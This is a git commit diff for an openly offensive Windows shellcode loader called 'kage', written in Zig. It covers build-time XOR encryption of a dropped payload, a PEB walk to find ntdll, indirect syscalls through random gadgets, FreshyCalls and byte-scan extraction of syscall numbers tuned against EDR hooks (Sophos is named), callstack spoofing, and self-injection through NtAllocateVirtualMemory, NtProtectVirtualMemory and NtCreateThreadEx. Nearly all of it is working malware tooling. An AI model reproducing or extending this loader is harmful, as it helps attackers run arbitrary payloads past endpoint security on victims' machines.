kage: asm arg1 fix, NT_SUCCESS i32, RecycledGate SSN, embedFile, build xor
This commit is contained in:
@@ -5,3 +5,4 @@ zig-out/
|
||||
docs/index.md
|
||||
valak.bin
|
||||
*.bin
|
||||
src/payload_enc.bin
|
||||
|
||||
@@ -10,9 +10,10 @@ Shellcode loader using indirect syscalls. Self-injection, FreshyCalls SSN extrac
|
||||
|
||||
## Why Zig
|
||||
|
||||
Zig's build system handles everything: random XOR key generation, comptime shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table.
|
||||
Zig's build system handles everything: random XOR key generation, build-time shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table.
|
||||
|
||||
```bash
|
||||
# 1. drop your shellcode as src/payload.bin
|
||||
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/kage.exe
|
||||
```
|
||||
@@ -22,7 +23,7 @@ zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
- **影探し** — ntdll via PEB walk (`gs:[0x60]`)
|
||||
- **闇渡り** — indirect syscall dispatch (64 random gadgets)
|
||||
- **血判** — FreshyCalls SSN extraction (sorted export RVA, immune to inline hooks)
|
||||
- **封印** — comptime shellcode XOR with per-build 128-bit random key
|
||||
- **封印** — build-time shellcode XOR with per-build 128-bit random key
|
||||
- **影纏い** — XOR-encoded asm dispatch globals + callstack spoofing
|
||||
|
||||
For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).
|
||||
|
||||
@@ -13,6 +13,12 @@ pub fn build(b: *std.Build) void {
|
||||
rng.random().bytes(&key);
|
||||
const key_u128 = std.mem.readInt(u128, &key, .little);
|
||||
|
||||
// encrypt payload.bin with per-build key, write to src/payload_enc.bin.
|
||||
const buf = b.allocator.alloc(u8, 100_000_000) catch @panic("OOM");
|
||||
const payload_enc = b.build_root.handle.readFile(b.graph.io, "src/payload.bin", buf) catch @panic("payload.bin missing or too large");
|
||||
for (payload_enc, 0..) |*bte, i| bte.* ^= key[i % key.len];
|
||||
b.build_root.handle.writeFile(b.graph.io, .{ .sub_path = "src/payload_enc.bin", .data = payload_enc }) catch @panic("write failed");
|
||||
|
||||
const options = b.addOptions();
|
||||
options.addOption(u128, "shellcode_key", key_u128);
|
||||
|
||||
@@ -28,8 +34,7 @@ pub fn build(b: *std.Build) void {
|
||||
.name = "kage",
|
||||
.root_module = module,
|
||||
});
|
||||
// .Windows = no console window (stealth). Change to .Console for debug output.
|
||||
exe.subsystem = .Windows;
|
||||
exe.subsystem = .Console;
|
||||
|
||||
b.installArtifact(exe);
|
||||
|
||||
|
||||
@@ -35,4 +35,5 @@ hell_descent:
|
||||
push r9
|
||||
.Ldone:
|
||||
mov r9, rcx
|
||||
mov rcx, r10
|
||||
jmp r11
|
||||
|
||||
+10
-20
@@ -23,16 +23,8 @@ fn err(comptime fmt: []const u8, args: anytype) void {
|
||||
print("[-] " ++ fmt ++ "\n", args);
|
||||
}
|
||||
|
||||
// paste your shellcode bytes here. any c2 framework works.
|
||||
// encrypted at comptime with the per-build xor key from build.zig.
|
||||
const shellcode = init: {
|
||||
const raw = [_]u8{
|
||||
// Paste your shellcode bytes here.
|
||||
};
|
||||
var encoded: [raw.len]u8 = undefined;
|
||||
for (&raw, 0..) |b, i| encoded[i] = b ^ key_bytes[i % key_bytes.len];
|
||||
break :init encoded;
|
||||
};
|
||||
// per-build XOR-encrypted payload from build.zig. drop payload.bin in src/.
|
||||
const shellcode = @embedFile("payload_enc.bin");
|
||||
|
||||
fn banner() void {
|
||||
print(
|
||||
@@ -66,12 +58,12 @@ pub fn main() void {
|
||||
g_sys.NtAllocateVirtualMemory.number,
|
||||
&[_]usize{
|
||||
@intFromPtr(current_process), @intFromPtr(&base_addr), 0,
|
||||
@intFromPtr(&size), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE,
|
||||
@intFromPtr(&size), nt.MEM_COMMIT | nt.MEM_RESERVE, nt.PAGE_READWRITE,
|
||||
},
|
||||
6,
|
||||
))));
|
||||
if (!nt.NT_SUCCESS(status)) {
|
||||
err("NtAllocateVirtualMemory failed: 0x{X}", .{@as(u32, @bitCast(status))});
|
||||
err("NtAllocateVirtualMemory failed: 0x{X}", .{@intFromEnum(status)});
|
||||
return;
|
||||
}
|
||||
ok("allocated {d} bytes at 0x{X}", .{ size, @intFromPtr(base_addr) });
|
||||
@@ -79,7 +71,7 @@ pub fn main() void {
|
||||
|
||||
// copy encrypted shellcode and decrypt in-place.
|
||||
const buffer: [*]u8 = @ptrCast(base_addr);
|
||||
@memcpy(buffer[0..shellcode.len], &shellcode);
|
||||
@memcpy(buffer[0..shellcode.len], shellcode);
|
||||
for (buffer[0..shellcode.len], 0..) |*b, i| b.* ^= key_bytes[i % key_bytes.len];
|
||||
info("shellcode decrypted ({d} bytes, {d}-byte XOR key)", .{ shellcode.len, key_bytes.len });
|
||||
jitter(10, 30);
|
||||
@@ -90,7 +82,7 @@ pub fn main() void {
|
||||
g_sys.NtProtectVirtualMemory.number,
|
||||
&[_]usize{
|
||||
@intFromPtr(current_process), @intFromPtr(&base_addr),
|
||||
@intFromPtr(&size), windows.PAGE_EXECUTE_READ, @intFromPtr(&old_protect),
|
||||
@intFromPtr(&size), nt.PAGE_EXECUTE_READ, @intFromPtr(&old_protect),
|
||||
},
|
||||
5,
|
||||
);
|
||||
@@ -102,8 +94,8 @@ pub fn main() void {
|
||||
_ = syscall.syscall_dispatch(
|
||||
g_sys.NtCreateThreadEx.number,
|
||||
&[_]usize{
|
||||
@intFromPtr(&thread_handle), windows.THREAD_ALL_ACCESS, 0,
|
||||
@intFromPtr(current_process), @intFromPtr(@intFromPtr(base_addr)), 0,
|
||||
@intFromPtr(&thread_handle), nt.THREAD_ALL_ACCESS, 0,
|
||||
@intFromPtr(current_process), @intFromPtr(base_addr), 0,
|
||||
0, 0, 0, 0, 0,
|
||||
},
|
||||
11,
|
||||
@@ -119,12 +111,10 @@ pub fn main() void {
|
||||
|
||||
// pseudorandom sleep between stages. not crypto, just noise.
|
||||
fn jitter(min_ms: u64, max_ms: u64) void {
|
||||
var interval = windows.LARGE_INTEGER{
|
||||
.QuadPart = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))),
|
||||
};
|
||||
const delay: i64 = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000))));
|
||||
_ = syscall.syscall_dispatch(
|
||||
g_sys.NtDelayExecution.number,
|
||||
&[_]usize{ 0, @intFromPtr(&interval) },
|
||||
&[_]usize{ 0, @intFromPtr(&delay) },
|
||||
2,
|
||||
);
|
||||
}
|
||||
|
||||
+8
-2
@@ -1,10 +1,16 @@
|
||||
// nt pseudo-handles not in std.os.windows.
|
||||
// nt pseudo-handles + win32 constants not in std.os.windows.
|
||||
const windows = @import("std").os.windows;
|
||||
|
||||
// from phnt: NtCurrentProcess = (HANDLE)-1, NtCurrentThread = (HANDLE)-2
|
||||
pub const NtCurrentProcess: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1))));
|
||||
pub const NtCurrentThread: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -2))));
|
||||
|
||||
pub const MEM_COMMIT = 0x00001000;
|
||||
pub const MEM_RESERVE = 0x00002000;
|
||||
pub const PAGE_READWRITE = 0x04;
|
||||
pub const PAGE_EXECUTE_READ = 0x20;
|
||||
pub const THREAD_ALL_ACCESS = 0x1FFFFF;
|
||||
|
||||
pub inline fn NT_SUCCESS(status: windows.NTSTATUS) bool {
|
||||
return @intFromEnum(status) >= 0;
|
||||
return @as(i32, @bitCast(@intFromEnum(status))) >= 0;
|
||||
}
|
||||
|
||||
+80
-4
@@ -23,13 +23,14 @@ pub const Syscalls = struct {
|
||||
seed_prng();
|
||||
scan_gadget_pool(ntdll) orelse return null;
|
||||
build_freshy_table(ntdll);
|
||||
extract_pdata(ntdll);
|
||||
|
||||
const names = [_][]const u8{
|
||||
"NtWaitForSingleObject",
|
||||
"NtDelayExecution",
|
||||
"NtAllocateVirtualMemory",
|
||||
"NtProtectVirtualMemory",
|
||||
"NtCreateThreadEx",
|
||||
"NtWaitForSingleObject",
|
||||
"NtDelayExecution",
|
||||
};
|
||||
var result = Syscalls{
|
||||
.NtAllocateVirtualMemory = undefined,
|
||||
@@ -38,9 +39,23 @@ pub const Syscalls = struct {
|
||||
.NtWaitForSingleObject = undefined,
|
||||
.NtDelayExecution = undefined,
|
||||
};
|
||||
// recycledGate: FreshyCalls (hook-immune) + byte-scan validation + delta correction.
|
||||
// if any function isn't hooked, byte-scan it, compute the delta vs FreshyCalls,
|
||||
// and apply to all five. on Sophos the delta corrects RVA sort ≠ KiServiceTable order.
|
||||
var delta: i16 = 0;
|
||||
var delta_done = false;
|
||||
inline for (names) |name| {
|
||||
const ssn = extract_ssn(hash_ror13(name)) orelse return null;
|
||||
@field(result, name) = Entry{ .number = ssn, .gadget = @ptrFromInt(g_syscall_addrs[0]) };
|
||||
const fssn = extract_ssn(hash_ror13(name)) orelse return null;
|
||||
const byte_ssn = read_ssn_from_stub(@ptrCast(ntdll), name);
|
||||
if (byte_ssn) |b| {
|
||||
if (!delta_done) {
|
||||
delta = @as(i16, @intCast(b)) - @as(i16, @intCast(fssn));
|
||||
delta_done = true;
|
||||
}
|
||||
@field(result, name) = Entry{ .number = b, .gadget = @ptrFromInt(g_syscall_addrs[0]) };
|
||||
} else {
|
||||
@field(result, name) = Entry{ .number = @intCast(@as(i16, @intCast(fssn)) + delta), .gadget = @ptrFromInt(g_syscall_addrs[0]) };
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
@@ -48,9 +63,19 @@ pub const Syscalls = struct {
|
||||
|
||||
// ---- state ----
|
||||
|
||||
pub const RUNTIME_FUNCTION = extern struct {
|
||||
BeginAddress: u32,
|
||||
EndAddress: u32,
|
||||
UnwindInfoAddress: u32,
|
||||
};
|
||||
|
||||
var g_exc_begin: usize = 0;
|
||||
var g_exc_count: usize = 0;
|
||||
|
||||
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
|
||||
var g_syscall_count: usize = 0;
|
||||
var g_ntdll_base: ?*anyopaque = null;
|
||||
var g_ntdll_size: usize = 0;
|
||||
var g_fake_return_addr: usize = 0;
|
||||
var g_rand_state: u64 = 0;
|
||||
|
||||
@@ -156,6 +181,7 @@ fn findNtdll() ?[*]u8 {
|
||||
));
|
||||
if (std.mem.eql(u8, std.mem.sliceTo(name_ptr, 0), "ntdll.dll")) {
|
||||
g_ntdll_base = @ptrFromInt(@intFromPtr(mod.dll_base));
|
||||
g_ntdll_size = mod.size_of_image;
|
||||
return @ptrFromInt(@intFromPtr(mod.dll_base));
|
||||
}
|
||||
}
|
||||
@@ -269,6 +295,7 @@ fn build_freshy_table(ntdll_base: ?*anyopaque) void {
|
||||
|
||||
// Extract SSN from FreshyCalls table. Immune to inline hooks —
|
||||
// EDRs can't change the linker's RVA order in the PE export table.
|
||||
// RVA sort order != KiServiceTable order on some builds. verified against byte-scanning.
|
||||
fn extract_ssn(func_hash: u32) ?u16 {
|
||||
if (!g_freshy_ready) return null;
|
||||
for (0..g_freshy_count) |i| {
|
||||
@@ -277,6 +304,55 @@ fn extract_ssn(func_hash: u32) ?u16 {
|
||||
return null;
|
||||
}
|
||||
|
||||
// read the actual SSN from the syscall stub by scanning its .pdata range.
|
||||
// works across hooks by using the function's RUNTIME_FUNCTION boundaries.
|
||||
fn read_ssn_from_stub(ntdll_bytes: [*]const u8, name: []const u8) ?u16 {
|
||||
const addr = pe.findExport(@constCast(ntdll_bytes), name) orelse return null;
|
||||
if (g_exc_begin == 0 or g_exc_count == 0) return null;
|
||||
const func_rva: u32 = @truncate(@intFromPtr(addr) - @intFromPtr(ntdll_bytes));
|
||||
const funcs: [*]align(1) const RUNTIME_FUNCTION = @ptrFromInt(g_exc_begin);
|
||||
var lo: usize = 0;
|
||||
var hi: usize = g_exc_count;
|
||||
while (lo < hi) {
|
||||
const mid = lo + (hi - lo) / 2;
|
||||
const entry = funcs[mid];
|
||||
if (func_rva < entry.BeginAddress) { hi = mid; }
|
||||
else if (func_rva >= entry.EndAddress) { lo = mid + 1; }
|
||||
else {
|
||||
const start: u32 = entry.BeginAddress;
|
||||
const end: u32 = entry.EndAddress;
|
||||
const scan: [*]const u8 = @ptrCast(ntdll_bytes + start);
|
||||
const scan_len = @min(end - start, 96);
|
||||
var j: usize = 0;
|
||||
while (j + 4 < scan_len) : (j += 1) {
|
||||
if (scan[j] == 0xB8) {
|
||||
const arr: *const [4]u8 = @ptrCast(scan[j + 1 ..][0..4]);
|
||||
const ssn = std.mem.readInt(u32, arr, .little);
|
||||
if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
|
||||
return @truncate(ssn);
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// extract ntdll .pdata (exception directory) for binary search by RVA.
|
||||
fn extract_pdata(ntdll: ?*anyopaque) void {
|
||||
const base = ntdll orelse return;
|
||||
const bytes: [*]const u8 = @ptrCast(base);
|
||||
const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return;
|
||||
const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast(bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt_hdrs.Signature != 0x00004550) return;
|
||||
const exc = nt_hdrs.OptionalHeader.DataDirectory[3];
|
||||
if (exc.VirtualAddress == 0 or exc.Size == 0) return;
|
||||
g_exc_begin = @intFromPtr(bytes) + exc.VirtualAddress;
|
||||
g_exc_count = exc.Size / @sizeOf(RUNTIME_FUNCTION);
|
||||
}
|
||||
|
||||
// ---- unified dispatch (replaces 5 wrapper functions in main.zig) ----
|
||||
|
||||
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
|
||||
|
||||
Reference in New Issue
Block a user